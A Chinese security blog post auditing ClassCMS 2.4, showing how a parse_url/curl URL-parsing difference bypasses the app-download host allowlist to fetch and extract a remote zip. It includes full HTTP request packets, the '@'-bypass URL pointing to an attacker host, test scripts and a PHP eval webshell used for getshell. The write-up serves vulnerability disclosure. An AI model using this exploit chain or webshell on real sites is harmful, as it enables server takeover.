ClassCMS2.4代码审计

ClassCMS2.4代码审计

前言

首发于先知社区:ClassCMS2.4代码审计

此次漏洞分析皆在本地测试,且漏洞已经提交至cnvd平台

漏洞url

需要后台管理员权限

http:///ClassCMS/admin666?do=shop:downloadClass&ajax=1

漏洞点

在后台的 管理->应用管理->应用下载处存在任意远程文件下载

image-20211216154721267

image-20211216154736162

先放掉第一个请求包

POST /admin666?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1
Host: classcms
Content-Length: 43
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://classcms
Referer: http://classcms/admin666?do=shop:index&bread=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%95&action=detail&classhash=diyform
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b
Connection: close

classhash=diyform&version=1.1&csrf=1547308b

然后修改第二个请求包

POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
Host: classcms
Content-Length: 85
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.159.1
Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00
Connection: close

classhash={dir}&url=http://@{ip}:{port}@classcms.com/{shell.zip}&csrf=338ceb00

参数解析

  • classhash为解压出来的最后文件名

  • url为了绕过过滤设成如下形式

    http://@192.168.159.1:80@classcms.com/shell.zip
    远程ip端口(默认80也需要加上),一个包含木马文件(shell.php)的zip压缩包
    
  • csrf参数不动即可

发送之后返回:安装包格式错误,请重试

就说明已经成功被下载到目标服务器上并解压

最后访问url即可执行上传上的木马getshell

http://192.168.159.1/ClassCMS/class/{classhash的值}/{上传压缩包中的木马文件}

漏洞测试

首先黑盒测试

在下载的第二个请求包中发现url参数解码为classcms官网的应用压缩包地址

POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
Host: classcms
Content-Length: 140
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://classcms
Referer: http://classcms/admin666?do=shop:index&bread=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%95&action=detail&classhash=diyform
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b
Connection: close

classhash=diyform&url=http%3A%2F%2Fclasscms.com%2Fshop%2F%3Faction%3Ddownload%26version%3D1.1%26classhash%3Ddiyform%26token%3D&csrf=1547308b

可能存在远程下载

http://classcms.com/shop/?action=download&version=1.1&classhash=diyform&token=

尝试修改url,得到报错回显

image-20211216160945402

Unicode解码得到 :下载失败

进行白盒测试

回到源码来,通过全局搜索报错提示(下载失败)定位到源码在/class/shop/shop.php中

image-20211216161043875

一处为在downloadClass函数中一处在upgradeClass函数中,观察功能显然是在downloadClass中

 function downloadClass() {
    	。。。。。。
        if(!C('this:download',$url,$classfile)) {
            Return C('cms:common:echoJson',array('msg'=>"下载失败",'error'=>1));
        }
        。。。。。。
    }

在this(当前文件shop.php)->download函数下,定位到关键函数

function download($url,$filepath) {
        $hosts=array_merge(explode(';',C('this:defaultHost')),array(config('host')));
        if($defaulthost=config('defaulthost')) {
            $hosts=array_merge($hosts,explode(';',$defaulthosts));
        }
        $checkurl=parse_url($url);
        if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
            Return false;
        }
        $curl=curl_init();
        curl_setopt($curl,CURLOPT_URL,$url);
        if(!$fp = @fopen ($filepath,'w+')) {
            Return false;
        }
        curl_setopt($curl,CURLOPT_FILE, $fp);
        curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
        curl_setopt($curl,CURLOPT_TIMEOUT,300);
        curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
        curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
        curl_setopt($curl,CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
        curl_setopt($curl,CURLOPT_POST,1);
        curl_setopt($curl,CURLOPT_POSTFIELDS,C('this:shopInfo'));
        $info=curl_exec($curl);
        $httpinfo=curl_getinfo($curl);
        curl_close($curl);
        fclose($fp);
        if($httpinfo['http_code']>=300) {@unlink($filepath);Return false;}
        Return $info;
    }

函数首先获取了默认允许的host,在this(前文件下)->defaultHost函数中

image-20211216155027088

只允许 classcms.com;classcms.uuu.la

这里可以抓包调试一下,可以看到确实是获取了这两个根域(虽然数组是三个)

image-20211216163555764

然后将我们传入的url (这里是http://192.168.159.1/1.txt) 通过parse_url函数解析后在判断是否是在数组中

我们的攻击url也就是down在了这里,那么目标就是绕过这个判断然后执行接下来的curl命令

if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
    Return false;        
}

前一个条件存在是肯定满足的,那么只需要让经过parse_url解析过的host键值和数组相等即可

这里利用php中的parse_url函数和lib_curl对url的解析差异,导致了对host的过滤失效来进行绕过

  • php-curl拓展解析的url host在第首个@之后
  • 而parse_url则是最后一个@之后

所以构造处payload

http://@192.168.159.1:80@classcms.com/1.zip

本地尝试绕过

<?php
    $hosts = ["classcms.com","classcms.uuu.la","classcms.com"];
	$url = "http://@192.168.159.1:80@classcms.com/1.zip";
	$checkurl = parse_url($url);
	var_dump($checkurl);
	if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
        echo "nono!";
    }else{
        echo "success!";
    }
?>

成功绕过

image-20211216164910824

绕过之后尝试执行curl

<?php
    $hosts = ["classcms.com","classcms.uuu.la","classcms.com"];
	$url = "http://@192.168.159.1:80@classcms.com/1.zip";
	$checkurl = parse_url($url);
	//var_dump($checkurl);
	if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {
        echo "nono!";
    }else{
        echo "success!";
        $curl=curl_init();
        curl_setopt($curl,CURLOPT_URL,$url);
        curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);
        curl_setopt($curl,CURLOPT_TIMEOUT,300);
        curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);
        curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);
        curl_setopt($curl,CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
        curl_setopt($curl,CURLOPT_POST,1);
        $info=curl_exec($curl);
        $httpinfo=curl_getinfo($curl);
        var_dump($info,$httpinfo);
        curl_close($curl);}
?>

成功执行curl完成远程下载

image-20211216181447914

那么构造一个木马文件 lyy.php

<?php phpinfo();@eval($_POST['lyy']);?>

压缩成zip文件 lyy.zip 然后构造请求包

POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1
Host: classcms
Content-Length: 66
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://classcms
Referer: http://classcms/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreate
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: token_2ab421=9632c6413dde844887912fd77a75a07f; csrf_2ab421=1547308b;
Connection: close

classhash=test&url=http://@192.168.159.1:80@classcms.com/lyy.zip&csrf=1547308b

可以看到已经成功绕过那个if条件,并且执行curl下载成功(返回true)

image-20211216182107628

虽然最后还是报错安装包格式错误,请重试

但是可以看到他在unzip方法处理后的if中而不是else中,说明已经成功下载并解压

image-20211216183159966

而cms目录下的class.php中的unzip也很简单

function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true)     {
    if(class_exists('ZipArchive')) {
        $zip = new ZipArchive;
        if ($zip->open($src_file) === TRUE)            {
            if(@$zip->extractTo($dest_dir)) {
                $zip->close();
                Return true;                
            }
            $zip->close();
        }       
        。。。    
    }
  • $src_file就是D:\phpStudy\PHPTutorial\WWW\ClassCMS\cache\shop\89a5f4d7d35347db4dd558079c11a612.class

    • 是curl之后产生的一个临时文件
  • $dest_dir就是D:\phpStudy\PHPTutorial\WWW\ClassCMS\class\test\

    • /class/{classhash参数值}的目录

所以函数的作用就是存在ZipArchive类(php_zip拓展,默认开启)时,解压临时文件内容到/class/{classhash参数值}的目录

所以最后木马文件的访问执行payload为

http://ClassCMS/class/{classhash的值}/{上传压缩包中的木马文件}这里为http://ClassCMS/class/test/lyy.php

成功执行代码并getshell

image-20211216183731640

image-20211216184320671

后记

这个漏洞是php curl 和 parse_url的解析差异导致的,是2017年blackhat上orange师傅的: A New Era of SSRF 中提到的

在较新版本的curl(curl>=7.54.0)中已经修复了多个@的解析问题,使用多个@会报错

由于没有找到php和curl对应版本资料(哪位大师傅知道可以告诉我),这里我测试了phpstudy上的所有php版本,下面两个已经修复

image-20211220154718767

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值